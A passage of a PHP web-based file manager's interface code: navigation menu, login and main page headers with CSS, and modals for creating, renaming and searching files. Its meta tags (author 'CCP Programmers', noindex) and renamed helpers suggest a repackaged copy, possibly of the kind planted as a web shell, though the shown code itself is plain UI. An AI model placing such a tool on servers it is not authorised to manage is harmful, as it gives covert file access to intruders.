<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
